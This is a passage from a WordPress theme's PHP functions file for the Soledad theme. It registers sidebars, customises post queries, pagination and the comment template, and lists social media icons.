	require penci_locate_template('inc/widgets/latest_tweets.php');
}

// Like post
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/like_post/post-like.php';

// Meta box
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/meta-box/meta-box.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/meta-box/categories-meta-box.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/custom-sidebar.php';

/**
 * Register main sidebar and sidebars in footer
 *
 * @return void
 * @since 1.0
 * @mod 8.6.5
 */
if (!function_exists('penci_register_sidebar')) {
	add_action( 'widgets_init', 'penci_register_sidebar' );
	function penci_register_sidebar(){
		register_sidebar(
			array(
				'name' => esc_html__('Main Sidebar', 'soledad'),
				'id' => 'main-sidebar',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h3 class="widget-title penci-border-arrow"><span class="inner-arrow">',
				'after_title' => '</span></h3>',
			)
		);

		register_sidebar(
			array(
				'name' => esc_html__('Main Sidebar Left', 'soledad'),
				'id' => 'main-sidebar-left',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h3 class="widget-title penci-border-arrow"><span class="inner-arrow">',
				'after_title' => '</span></h3>',
			)
		);

		for ($i = 1; $i <= 4; $i++) {
			register_sidebar(
				array(
					'name' => sprintf(esc_html__('Footer Column #%s', 'soledad'), $i),
					'id' => 'footer-' . $i,
					'before_widget' => '<aside id="%1$s" class="widget %2$s">',
					'after_widget' => '</aside>',
					'before_title' => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
					'after_title' => '</span></h4>',
				)
			);
		}

		register_sidebar(
			array(
				'name' => esc_html__('Header Signup Form', 'soledad'),
				'id' => 'header-signup-form',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h4 class="header-signup-form">',
				'after_title' => '</h4>',
				'description' => 'Only use for MailChimp Sign-Up Form widget. Display your Sign-Up Form widget below the header. Please use markup we provide here: https://soledad.pencidesign.net/soledad-document/#widgets to display exact',
			)
		);

		register_sidebar(
			array(
				'name' => esc_html__('Footer Signup Form', 'soledad'),
				'id' => 'footer-signup-form',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h4 class="footer-subscribe-title">',
				'after_title' => '</h4>',
				'description' => 'Only use for MailChimp Sign-Up Form widget. Display your Sign-Up Form widget below on the footer. Please use markup we provide here: https://soledad.pencidesign.net/soledad-document/#widgets to display exact',
			)
		);

		register_sidebar(
			array(
				'name' => esc_html__('Footer Instagram', 'soledad'),
				'id' => 'footer-instagram',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h4 class="footer-instagram-title"><span><span class="title">',
				'after_title' => '</span></span></h4>',
				'description' => esc_html__('Only use for Instagram Slider widget. Display instagram images on your website footer', 'soledad'),
			)
		);

		register_sidebar(
			array(
				'name' => esc_html__('Top Instagram', 'soledad'),
				'id' => 'top-instagram',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h4 class="footer-instagram-title top-instagram-title"><span><span class="title">',
				'after_title' => '</span></span></h4>',
				'description' => esc_html__('Only use for Instagram Slider widget. Display instagram images on the top of your website', 'soledad'),
			)
		);

		register_sidebar(
			array(
				'name' => esc_html__('Sidebar Hamburger Widgets Above Menu', 'soledad'),
				'id' => 'menu_hamburger_1',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
				'after_title' => '</span></h4>',
			)
		);

		register_sidebar(
			array(
				'name' => esc_html__('Sidebar Hamburger Widgets Below Menu', 'soledad'),
				'id' => 'menu_hamburger_2',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
				'after_title' => '</span></h4>',
			)
		);

		register_sidebar(
			array(
				'name' => esc_html__('Sidebar For Shop Page & Shop Archive', 'soledad'),
				'id' => 'penci-shop-sidebar',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
				'after_title' => '</span></h4>',
				'description' => 'This sidebar for Shop Page & Shop Archive, if this sidebar is empty, will display Main Sidebar',
			)
		);

		register_sidebar(
			array(
				'name' => esc_html__('Sidebar For Single Product', 'soledad'),
				'id' => 'penci-shop-single',
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' => '</aside>',
				'before_title' => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
				'after_title' => '</span></h4>',
				'description' => 'This sidebar for Single Product, if this sidebar is empty, will display Main Sidebar',
			)
		);

		if (class_exists('bbPress')) {
			register_sidebar(
				array(
					'name' => esc_html__('Sidebar For BbPress', 'soledad'),
					'id' => 'penci-bbpress',
					'before_widget' => '<aside id="%1$s" class="widget %2$s">',
					'after_widget' => '</aside>',
					'before_title' => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
					'after_title' => '</span></h4>',
					'description' => 'This sidebar for Single Product, if this sidebar is empty, will display Main Sidebar',
				)
			);
		}

		if (class_exists('BuddyPress')) {
			register_sidebar(
				array(
					'name' => esc_html__('Sidebar For BuddyPress', 'soledad'),
					'id' => 'penci-buddypress',
					'before_widget' => '<aside id="%1$s" class="widget %2$s">',
					'after_widget' => '</aside>',
					'before_title' => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
					'after_title' => '</span></h4>',
					'description' => 'This sidebar for Single Product, if this sidebar is empty, will display Main Sidebar',
				)
			);
		}

		for ($i = 1; $i <= 10; $i++) {
			register_sidebar(
				array(
					'name' => sprintf(esc_html__('Custom Sidebar %s', 'soledad'), $i),
					'id' => 'custom-sidebar-' . $i,
					'before_widget' => '<aside id="%1$s" class="widget %2$s">',
					'after_widget' => '</aside>',
					'before_title' => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
					'after_title' => '</span></h4>',
				)
			);
		}
	}
}

/**
 * Modify category widget defaults
 * Hook to wp_list_categories
 *
 * @since 1.0
 */
if (!function_exists('penci_add_more_span_cat_count')) {
	add_filter('wp_list_categories', 'penci_add_more_span_cat_count');
	function penci_add_more_span_cat_count($links) {

		$links = preg_replace('/<\/a> \(([0-9.,]+)\)/', ' <span class="category-item-count">(\\1)</span></a>', $links);

		return $links;
	}
}

/**
 * Custom number posts per page on homepage
 *
 * @return void
 *@since 1.0
 */
if (get_theme_mod('penci_home_lastest_posts_numbers')) {
	if (!function_exists('penci_custom_posts_per_page_for_home')) {
		function penci_custom_posts_per_page_for_home($query) {
			$blog_posts = get_option('posts_per_page ');
			$posts_page = get_theme_mod('penci_home_lastest_posts_numbers');
			if (is_numeric($posts_page) && $posts_page > 0 && $posts_page != $blog_posts) {
				if ($query->is_home() && $query->is_main_query()) {
					$query->set('posts_per_page', $posts_page);
				}
			}
		}

		add_action('pre_get_posts', 'penci_custom_posts_per_page_for_home');
	}
}

/**
 * Custom number posts per page on portfolio
 *
 * @return void
 *@since 1.0
 */
if (!function_exists('penci_portfolio_posts_numbers')) {
	function penci_portfolio_posts_numbers($query) {
		$blog_posts = get_option('posts_per_page ');
		if ($query->is_tax('portfolio-category') && $query->is_main_query()) {
			$query->set('posts_per_page', $blog_posts);
		}
	}

	add_action('pre_get_posts', 'penci_portfolio_posts_numbers');
}

/**
 * Custom orderby & order post
 *
 * @return void
 *@since 1.0
 */
if (!function_exists('penci_custom_posts_oderby')) {
	function penci_custom_posts_oderby($query) {
		if (($query->is_home() && $query->is_main_query()) || ($query->is_archive() && $query->is_main_query())) {
			$orderby = get_theme_mod('penci_general_post_orderby');
			if (!$orderby):
				$orderby = 'date';
			endif;
			$order = get_theme_mod('penci_general_post_order');
			if (!$order):
				$order = 'DESC';
			endif;

			if (!function_exists('is_woocommerce') || (function_exists('is_woocommerce') && !is_woocommerce())) {
				$query->set('orderby', $orderby);
				$query->set('order', $order);
			}
		}
	}

	add_action('pre_get_posts', 'penci_custom_posts_oderby');
}

/**
 * Adds a lightbox effect to images in single posts using a filter.
 * Hooks into the `the_content()` function to modify image links.
 *
 * @since 1.0
 * @modified 6.8.4
 */
if (!function_exists('penci_filter_image_attr')) {
	
	add_filter('the_content', 'penci_filter_image_attr', 20);

	function penci_filter_image_attr($content) {
		// Check if the lightbox is disabled
		if (get_theme_mod('penci_disable_lightbox_single')) {
			return $content;
		}

		// Only apply on single posts/pages
		if (is_home() || is_archive()) {
			return $content;
		}

		// Quick check to see if content contains <a> and <img> tags before running regex
		if (strpos($content, '<a') === false || strpos($content, '<img') === false) {
			return $content;
		}

		// Use preg_replace_callback for better efficiency
		return preg_replace_callback(
			'/<a([^>]+)href=(["\'])([^"\']+\.(?:bmp|gif|jpeg|jpg|png))\2([^>]*)>\s*<img/i',
			function ($matches) {
				// Reconstruct <a> tag with the additional data attribute
				return '<a' . $matches[1] . 'href=' . $matches[2] . $matches[3] . $matches[2] . ' data-rel="penci-gallery-image-content" ' . $matches[4] . '><img';
			},
			$content
		);
	}

}

/**
 * Pagination next post and previous post
 *
 * @return void
 *@since 1.0
 */
if (!function_exists('penci_soledad_archive_pag_style')):
	function penci_soledad_archive_pag_style($layout_this) {

		if (get_theme_mod('penci_archive_nav_ajax') || get_theme_mod('penci_archive_nav_scroll')) {

			$button_class = 'penci-ajax-more penci-ajax-arch';
			if (get_theme_mod('penci_archive_nav_scroll')) {
				$button_class .= ' penci-infinite-scroll';
			}

			$data_layout = $layout_this;
			if (in_array($layout_this, array('standard-grid', 'classic-grid', 'overlay-grid'))) {
				$data_layout = 'grid';
			} elseif (in_array($layout_this, array('standard-grid-2', 'classic-grid-2'))) {
			$data_layout = 'grid-2';
		} elseif (in_array($layout_this, array('standard-list', 'classic-list', 'overlay-list'))) {
			$data_layout = 'list';
		} elseif (in_array($layout_this, array('standard-boxed-1', 'classic-boxed-1'))) {
			$data_layout = 'boxed-1';
		} elseif (in_array($layout_this, array('mixed-3', 'mixed-4'))) {
			$data_layout = 'small-list';
		}

		$data_template = 'sidebar';
		if (!penci_get_setting('penci_sidebar_archive')):
			$data_template = 'no-sidebar';
		endif;

		$offset_number = get_option('posts_per_page');

		$penci_cat_featured_layout = get_theme_mod('penci_cat_featured_layout', '');
		$penci_tag_featured_layout = get_theme_mod('penci_tag_featured_layout', '');

		if ((is_category() && $penci_cat_featured_layout) || (is_tag() && $penci_tag_featured_layout)) {
			$penci_featured_layout = is_category() ? $penci_cat_featured_layout : $penci_tag_featured_layout;
			$grid_per_page = penci_featured_archive_ppl($penci_featured_layout);
			$offset_number = $offset_number + $grid_per_page;
		}

		$num_load = 6;
		if (get_theme_mod('penci_arc_number_load_more') && 0 != get_theme_mod('penci_arc_number_load_more')):
			$num_load = get_theme_mod('penci_arc_number_load_more');
		endif;
		?>
			<?php

		$data_archive_type = '';
		$data_archive_value = '';
		if (is_category()):
			$category = get_category(get_query_var('cat'));
			$cat_id = isset($category->cat_ID) ? $category->cat_ID : '';
			$data_archive_type = 'cat';
			$data_archive_value = $cat_id;
			$opt_cat = 'category_' . $cat_id;
			$cat_meta = get_option($opt_cat);
			$sidebar_opts = isset($cat_meta['cat_sidebar_display']) ? $cat_meta['cat_sidebar_display'] : '';
			if ($sidebar_opts == 'no'):
				$data_template = 'no-sidebar';
			elseif ($sidebar_opts == 'left' || $sidebar_opts == 'right'):
				$data_template = 'sidebar';
			endif;

		elseif (is_tag()):
			$tag = get_queried_object();
			$tag_id = isset($tag->term_id) ? $tag->term_id : '';
			$data_archive_type = 'tag';
			$data_archive_value = $tag_id;
		elseif (is_day()):
			$data_archive_type = 'day';
			$data_archive_value = get_the_date('m|d|Y');
		elseif (is_month()):
			$data_archive_type = 'month';
			$data_archive_value = get_the_date('m|d|Y');
		elseif (is_year()):
			$data_archive_type = 'year';
			$data_archive_value = get_the_date('m|d|Y');
		elseif (is_search()):
			$data_archive_type = 'search';
			$data_archive_value = get_search_query();
		elseif (is_author()):

			global $authordata;
			$user_id = isset($authordata->ID) ? $authordata->ID : 0;

			$data_archive_type = 'author';
			$data_archive_value = $user_id;
		elseif (is_archive()):
			$queried_object = get_queried_object();
			$term_id = isset($queried_object->term_id) ? $queried_object->term_id : '';
			$tax = isset( $queried_object->taxonomy ) ? $queried_object->taxonomy: '';
			$tax_name = is_object($tax) && isset($tax->name) ? $tax->name : '';

			if ($term_id && $tax_name) {
				$data_archive_type = $tax_name;
				$data_archive_value = $term_id;
			}
		endif;

		$button_data = 'data-mes="' . penci_get_setting('penci_trans_no_more_posts') . '"';
		$button_data .= ' data-layout="' . esc_attr($data_layout) . '"';
		$button_data .= ' data-number="' . absint($num_load) . '"';
		$button_data .= ' data-offset="' . absint($offset_number) . '"';
		$button_data .= ' data-from="customize"';
		$button_data .= ' data-template="' . $data_template . '"';
		$button_data .= ' data-archivetype="' . $data_archive_type . '"';
		$button_data .= ' data-archivevalue="' . $data_archive_value . '"';
		?>
		<div class="penci-pagination <?php echo $button_class; ?>">
			<a href="#" aria-label="Load More Posts" class="penci-ajax-more-button" <?php echo $button_data; ?> data-order="<?php echo get_query_var('pc_archive_sort', 'desc'); ?>" data-md="<?php echo get_query_var('pc_archive_month', ''); ?>">
				<span class="ajax-more-text"><?php echo penci_get_setting('penci_trans_load_more_posts'); ?></span>
				<span class="ajaxdot"></span><?php penci_fawesome_icon('fas fa-sync');?>
			</a>
		</div>
			<?php
} else {
		penci_soledad_pagination();
	}
}
endif;

if (!function_exists('penci_soledad_pagination')) {
	function penci_soledad_pagination() {

		if ( get_theme_mod('penci_page_navigation_numbers') ) {
			if ( ( is_archive() || is_front_page() || is_home() ) && get_theme_mod( 'penci_archive_ajax_navigation' ) ) {
				echo penci_get_html_animation_loading( 'df' );
			}
			echo penci_pagination_numbers();
		} else {
			global $wp_query;
			if ( $wp_query->max_num_pages > 1 ):
			?>
				<div class="penci-pagination">
					<div class="newer">
						<?php if (get_previous_posts_link()) {?>
							<?php previous_posts_link('<span>' . penci_icon_by_ver('fas fa-angle-left') . penci_get_setting('penci_trans_newer_posts') . '</span>');?>
						<?php } else {?>
							<?php echo '<div class="disable-url"><span>' . penci_icon_by_ver('fas fa-angle-left') . penci_get_setting('penci_trans_newer_posts') . '</span></div>'; ?>
						<?php }?>
					</div>
					<div class="older">
						<?php if (get_next_posts_link()) {?>
							<?php next_posts_link('<span>' . penci_get_setting('penci_trans_older_posts') . ' ' . penci_icon_by_ver('fas fa-angle-right') . '</span>');?>
						<?php } else {?>
							<?php echo '<div class="disable-url"><span>' . penci_get_setting('penci_trans_older_posts') . ' ' . penci_icon_by_ver('fas fa-angle-right') . '</span></div>'; ?>
						<?php }?>
					</div>
				</div>
				<?php
endif;
		}
	}
}

/**
 * Pagination numbers
 *
 * @return void
 *@since 1.0
 */
if (!function_exists('penci_pagination_numbers')) {
	function penci_pagination_numbers($custom_query = false, $align = null) {
		global $wp_query;
		if (!$custom_query) {
			$custom_query = $wp_query;}
		$paged_get = 'paged';
		if (is_front_page() && !is_home()):
			$paged_get = 'page';
		endif;

		$found_posts = $custom_query->found_posts;
		$posts_per_page = isset($custom_query->query['posts_per_page']) ? $custom_query->query['posts_per_page'] : get_option('posts_per_page');

		if (isset($custom_query->query['offset']) && $custom_query->query['offset'] > 0) {

			$offset = $custom_query->query['offset'];
			$current_paged = max(1, get_query_var($paged_get));

			if ($current_paged > 1) {
				$offset = $offset - ($posts_per_page * ($current_paged - 1));
			}

			$total_pages = ceil(($found_posts - $offset) / $posts_per_page);
			$custom_query->max_num_pages = $total_pages;
		}
		$pagination = paginate_links(
			array(
				'current' => max(1, get_query_var($paged_get)),
				'total' => $custom_query->max_num_pages,
				'type' => 'list',
				'prev_text' => penci_icon_by_ver('fas fa-angle-left'),
				'next_text' => penci_icon_by_ver('fas fa-angle-right'),
			)
		);

		$pagenavi_align = get_theme_mod('penci_page_navigation_align') ? get_theme_mod('penci_page_navigation_align') : 'align-left';
		if ($align):
			$pagenavi_align = $align;
		endif;

		if ($pagination) {
			return '<div class="penci-pagination ' . esc_attr($pagenavi_align) . '">' . $pagination . '</div>';
		}
	}
}

/**
 * Comments template
 *
 * @return void
 *@since 1.0
 */
if (!function_exists('penci_comments_template')) {
	function penci_comments_template($comment, $args, $depth) {
		$GLOBALS['comment'] = $comment;

		$attr_date = 'datetime="' . get_comment_time('Y-m-d\TH:i:sP') . '"';
		$attr_date .= 'title="' . get_comment_time('l, F j, Y, g:i a') . '"';
		$attr_date .= 'itemprop="commentTime"';

		$rating = get_comment_meta(get_comment_ID(), 'pccm_rating', true);
		$pccm_rating_title = get_comment_meta(get_comment_ID(), 'pccm_rating_title', true);

		$is_review = $rating && $pccm_rating_title && get_theme_mod('penci_post_comments_ratings');

		$before_author = $after_author = '';
		if ($is_review) {
			$before_author = '<div class="penci-review-author">';
			$after_author = '</div>';
		}
		?>
		<div <?php comment_class();?> id="comment-<?php comment_ID();?>" itemprop="" itemscope="itemscope" itemtype="https://schema.org/UserComments">
			<meta itemprop="discusses" content="<?php echo esc_attr(get_the_title()); ?>"/>
			<link itemprop="url" href="#comment-<?php comment_ID();?>">
			<div class="thecomment">
				<div class="author-img">
					<?php echo get_avatar($comment, $args['avatar_size']); ?>
				</div>
				<div class="comment-text">

					<?php if ($is_review): ?>
					<div class="penci-review-summary">
						<div class="review_rated">
						<?php
for ($x = 1; $x <= 5; $x++) {
			$show = $x <= $rating ? 'on' : 'off';
			echo '<i data-alt="' . $x . '" class="star-' . $show . '-png"></i>';
		}
		?>
						</div>
						<h3 class="pccm_rating_title"><?php echo $pccm_rating_title; ?></h3>
					</div>
					<?php endif;?>
					<?php echo $before_author; ?>
					<span class="author" itemprop="creator" itemtype="https://schema.org/Person"><span itemprop="name"><?php echo get_comment_author_link(); ?></span></span>
					<span class="date" <?php echo $attr_date; ?>><?php penci_fawesome_icon('far fa-clock');?><?php printf(esc_html__('%1$s - %2$s', 'soledad'), get_comment_date(), get_comment_time());?></span>
					<?php echo $after_author; ?>
					<?php if ($comment->comment_approved == '0'): ?>
						<em><i class="icon-info-sign"></i> <?php echo penci_get_setting('penci_trans_wait_approval_comment'); ?></em>
					<?php endif;?>
					<div class="comment-content" itemprop="commentText">
						<?php comment_text();?>
					</div>
					<?php if ( get_theme_mod( 'penci_post_comments_lines' ) ): ?>
						<a class="penci_cmrm" aria-label="<?php echo penci_get_setting( 'penci_trans_read_more' );?>" href="#comment-<?php comment_ID();?>"><?php echo penci_get_setting( 'penci_trans_read_more' );?></a>
					<?php endif;?>
					<span class="reply">
						<?php
comment_reply_link(
			array_merge(
				$args,
				array(
					'reply_text' => penci_get_setting('penci_trans_reply_comment'),
					'depth' => $depth,
					'max_depth' => $args['max_depth'],
				)
			),
			$comment->comment_ID
		);
		?>
						<?php edit_comment_link(penci_get_setting('penci_trans_edit_comment'));?>
					</span>
				</div>
			</div>
		<?php
}
}

/**
 * Author socials url
 *
 * @param array $contactmethods
 *
 * @return new array $contactmethods
 *@since 1.0
 */
if (!function_exists('penci_author_social')) {
	function penci_author_social($contactmethods) {
		unset($contactmethods['googleplus']);
		$contactmethods['twitter'] = __('Twitter Username', 'soledad');
		$contactmethods['facebook'] = __('Facebook Username', 'soledad');
		$contactmethods['google'] = __('Google Plus Username', 'soledad');
		$contactmethods['tumblr'] = __('Tumblr Username', 'soledad');
		$contactmethods['instagram'] = __('Instagram Username', 'soledad');
		$contactmethods['linkedin'] = __('LinkedIn Profile URL', 'soledad');
		$contactmethods['pinterest'] = __('Pinterest Username', 'soledad');
		$contactmethods['soundcloud'] = __('Soundcloud Profile URL', 'soledad');
		$contactmethods['youtube'] = __('Youtube Profile URL', 'soledad');
		$contactmethods['tiktok'] = __('TikTok Profile URL', 'soledad');

		return $contactmethods;
	}
	add_filter('user_contactmethods', 'penci_author_social', 10, 1);
}

/**
 * Featured category to display in top slider
 *
 * @param string $separator
 *
 * @return void
 *@since 1.0
 */
if (!function_exists('penci_category')) {
	function penci_category($separator = '', $show_pricat = null, $featured = false) {

		$show_pricat_only = get_theme_mod('penci_show_pricat_yoast_only');
		$show_pricat_first = get_theme_mod('penci_show_pricat_first_yoast');

		if ($show_pricat) {
			$show_pricat_only = true;
		}

		$the_category = get_the_category();
		$loop_cats = $the_category;

		$primary_cat = '';
		$primary_catid = penci_get_primary_cat_id();
		if (($show_pricat_only || $show_pricat_first) && $primary_catid) {
			$term = get_term($primary_catid);
			if (!is_wp_error($term)) {
				$primary_cat = $term;

				if ($show_pricat_only) {
					$loop_cats = array($term);
				} else {
					$loop_cats = array_merge(array($term), $the_category);
				}
			}
		}

		if (get_theme_mod('penci_featured_cat_hide') == true) {

			$excluded_cat = get_theme_mod('penci_featured_cat');
			$first_time = 1;

			$count_the_category = count((array) $the_category);

			if ($show_pricat_only & isset($primary_cat->term_taxonomy_id) && $primary_cat->term_taxonomy_id == $excluded_cat && $count_the_category > 1) {
				$loop_cats = array();
				foreach ($the_category as $cat) {
					if ($loop_cats) {
						continue;
					}

					if (isset($cat->cat_ID) && $cat->cat_ID == $excluded_cat) {
						continue;
					}

					$loop_cats = array($cat);
				}
			}

			$cat_show_arr = array();
			foreach ((array) $loop_cats as $category) {

				$cat_ID = '';
				if (isset($category->cat_ID) && $category->cat_ID) {
					$cat_ID = $category->cat_ID;
				} elseif (isset($category->term_taxonomy_id) && $category->term_taxonomy_id) {
					$cat_ID = $category->term_taxonomy_id;
				}

				if ($cat_ID == $excluded_cat) {
					continue;
				}

				if ($show_pricat_first) {
					if (in_array($category->term_id, $cat_show_arr)) {
						continue;
					}

					$cat_show_arr[] = $category->term_id;
				}
				$custom_style = apply_filters('penci_cat_color', '', $category->term_id, $featured);
				$custombg_style = apply_filters('penci_cat_bgcolor', '', $category->term_id, $featured);

				if ($first_time == 1) {
					echo '<a style="' . $custombg_style . '" class="penci-cat-name penci-cat-' . $category->term_id . '" href="' . get_category_link($category->term_id) . '"  rel="category tag"><span style="' . $custom_style . '">' . $category->name . '</span></a>';
					$first_time = 0;
				} else {
					echo wp_kses($separator, penci_allow_html()) . '<a style="' . $custom_style . '" class="penci-cat-name penci-cat-' . $category->term_id . '" href="' . get_category_link($category->term_id) . '"  rel="category tag"><span>' . $category->name . '</span></a>';
				}
			}
		} else {
			$cat_show_arr = array();
			$first_time = 1;
			foreach ((array) $loop_cats as $category) {
				if ( is_object($category) && isset( $category->term_id ) ) {
					if ($show_pricat_first) {
						if (in_array($category->term_id, $cat_show_arr)) {
							continue;
						}

						$cat_show_arr[] = $category->term_id;
					}

					$custom_style = apply_filters('penci_cat_color', '', $category->term_id, $featured);
					$custombg_style = apply_filters('penci_cat_bgcolor', '', $category->term_id, $featured);

					if ($first_time == 1) {
						echo '<a style="' . $custombg_style . '" class="penci-cat-name penci-cat-' . $category->term_id . '" href="' . get_category_link($category->term_id) . '"  rel="category tag"><span style="' . $custom_style . '">' . $category->name . '</span></a>';
						$first_time = 0;
					} else {
						echo wp_kses($separator, penci_allow_html()) . '<a style="' . $custombg_style . '" class="penci-cat-name penci-cat-' . $category->term_id . '" href="' . get_category_link($category->term_id) . '"  rel="category tag"><span style="' . $custom_style . '">' . $category->name . '</span></a>';
					}
				}
			}
		}

		unset($primary_cat, $the_category, $cat_show_arr);
	}
}

/**
 * List all social media data
 */
if (!function_exists('penci_social_media_array')) {
	function penci_social_media_array() {
		$array = array(
			'facebook' => array(penci_get_setting('penci_facebook'), 'fab fa-facebook-f'),
			'twitter' => array(penci_get_setting('penci_twitter'), 'penciicon-x-twitter'),
			'instagram' => array(get_theme_mod('penci_instagram'), 'fab fa-instagram'),
			'pinterest' => array(get_theme_mod('penci_pinterest'), 'fab fa-pinterest'),
			'linkedin' => array(get_theme_mod('penci_linkedin'), 'fab fa-linkedin-in'),
			'flickr' => array(get_theme_mod('penci_flickr'), 'fab fa-flickr'),
			'behance' => array(get_theme_mod('penci_behance'), 'fab fa-behance'),
			'tumblr' => array(get_theme_mod('penci_tumblr'), 'fab fa-tumblr'),
			'youtube' => array(get_theme_mod('penci_youtube'), 'fab fa-youtube'),
			'email' => array(get_theme_mod('penci_email_me'), 'fas fa-envelope'),
			'vk' => array(get_theme_mod('penci_vk'), 'fab fa-vk'),
			'bloglovin' => array(get_theme_mod('penci_bloglovin'), 'far fa-heart'),
			'vine' => array(get_theme_mod('penci_vine'), 'fab fa-vine'),
			'soundcloud' => array(get_theme_mod('penci_soundcloud'), 'fab fa-soundcloud'),
			'snapchat' => array(get_theme_mod('penci_snapchat'), 'fab fa-snapchat'),
			'spotify' => array(get_theme_mod('penci_spotify'), 'fab fa-spotify'),
			'github' => array(get_theme_mod('penci_github'), 'fab fa-github'),
			'stack-overflow' => array(get_theme_mod('penci_stack'), 'fab fa-stack-overflow'),
			'twitch' => array(get_theme_mod('penci_twitch'), 'fab fa-twitch'),
			'vimeo' => array(get_theme_mod('penci_vimeo'), 'fab fa-vimeo-v'),
			'steam' => array(get_theme_mod('penci_steam'), 'fab fa-steam'),
			'xing' => array(get_theme_mod('penci_xing'), 'fab fa-xing'),
			'whatsapp' => array(get_theme_mod('penci_whatsapp'), 'fab fa-whatsapp'),
			'telegram' => array(get_theme_mod('penci_telegram'), 'fab fa-telegram'),
			'reddit' => array(get_theme_mod('penci_reddit'), 'fab fa-reddit-alien'),
			'ok' => array(get_theme_mod('penci_ok'), 'fab fa-odnoklassniki'),
			'500px' => array(get_theme_mod('penci_500px'), 'fab fa-500px'),
			'stumbleupon' => array(get_theme_mod('penci_stumbleupon'), 'fab fa-stumbleupon'),
			'wechat' => array(get_theme_mod('penci_wechat'), 'fab fa-weixin'),
			'weibo' => array(get_theme_mod('penci_weibo'), 'fab fa-weibo'),
			'line' => array(get_theme_mod('penci_line'), 'penciicon-line'),
			'viber' => array(get_theme_mod('penci_viber'), 'penciicon-viber'),
			'discord' => array(get_theme_mod('penci_discord'), 'penciicon-discord'),
			'rss' => array(get_theme_mod('penci_rss'), 'fas fa-rss'),
			'slack' => array(get_theme_mod('penci_slack'), 'fab fa-slack'),
			'mixcloud' => array(get_theme_mod('penci_mixcloud'), 'fab fa-mixcloud'),
			'goodreads' => array(get_theme_mod('penci_goodreads'), 'penciicon-goodreads'),
			'tripadvisor' => array(get_theme_mod('penci_tripadvisor'), 'fab fa-tripadvisor'),
			'tiktok' => array(get_theme_mod('penci_tiktok'), 'penciicon-tik-tok'),
			'dailymotion' => array(get_theme_mod('penci_dailymotion'), 'penciicon-letter-d'),
			'blogger' => array(get_theme_mod('penci_blogger'), 'penciicon-blogger-1'),
			'delicious' => array(get_theme_mod('penci_delicious'), 'fab fa-delicious'),
			'deviantart' => array(get_theme_mod('penci_deviantart'), 'penciicon-deviantart-1'),
			'digg' => array(get_theme_mod('penci_digg'), 'fab fa-digg'),
			'evernote' => array(get_theme_mod('penci_evernote'), 'penciicon-evernote'),
			'forrst' => array(get_theme_mod('penci_forrst'), 'penciicon-forrst'),
			'grooveshark' => array(get_theme_mod('penci_grooveshark'), 'penciicon-grooveshark'),
			'lastfm' => array(get_theme_mod('penci_lastfm'), 'penciicon-lastfm'),
			'myspace' => array(get_theme_mod('penci_myspace'), 'penciicon-myspace-logo'),
			'paypal' => array(get_theme_mod('penci_paypal'), 'fab fa-paypal'),
			'skype' => array(get_theme_mod('penci_skype'), 'fab fa-skype'),
			'window' => array(get_theme_mod('penci_window'), 'fab fa-windows'),
			'wordPress' => array(get_theme_mod('penci_wordpress'), 'fab fa-wordpress'),
			'yelp' => array(get_theme_mod('penci_wordpress'), 'fab fa-yelp'),
			'yahoo' => array(get_theme_mod('penci_yahoo'), 'penciicon-yahoo-logo'),
			'yandex' => array(get_theme_mod('penci_yandex'), 'penciicon-y'),
			'douban' => array(get_theme_mod('penci_douban'), 'penciicon-douban-logo'),
			'qq' => array(get_theme_mod('penci_qq'), 'penciicon-qq-social-logo-of-a-penguin'),
			'threads' => array(get_theme_mod('penci_threads'), 'penciicon-threads'),
			'bluesky' => array(get_theme_mod('penci_bluesky'), 'penciicon-butterfly'),
		);

		$custom_social_icons = get_option('penci_custom_socials', array());

		if (!empty($custom_social_icons)) {
			foreach ($custom_social_icons as $name => $attr) {
				$array[$name] = array($attr['url'], $attr['icon']);
			}
		}

		$custom_order = get_option('penci_social_orders');

		if (!empty($custom_order)) {
			$new_order = array();
			foreach ($custom_order as $key => $name) {
				$new_name = str_replace(array('penci_', 'email_me', 'stack', 'wordpress'), array('', 'email', 'stack-overflow', 'wordPress'), $name);
				$new_order[$key] = $new_name;
			}

			$array = penci_sortArrayByArray($array, $new_order);
		}

		return $array;
	}
}
if (!function_exists('penci_social_penci_icons_array')) {
	function penci_social_penci_icons_array() {
		return array('line', 'viber', 'discord', 'goodreads', 'tiktok', 'douban', 'qq');
	}
}

/**
 * Custom the_excerpt() length function
 *
 * @param number $length of the_excerpt
 *
 * @return new number excerpt length
 *@since 1.0
 */
if (!function_exists('penci_custom_excerpt_length')) {
	function penci_custom_excerpt_length($length) {
		$number_excerpt_length = get_theme_mod('penci_post_excerpt_length') ? get_theme_mod('penci_post_excerpt_length') : 30;
		return $number_excerpt_length;
	}

	add_filter('excerpt_length', 'penci_custom_excerpt_length', 999);
}

/**
 * Custom the_excerpt() more string
 *
 * @param string $more
 *
 * @return new more string of the_excerpt() function
 *@since 1.0
 */
if (!function_exists('penci_new_excerpt_more')) {
	function penci_new_excerpt_more($more) {
		return '&hellip;';
	}

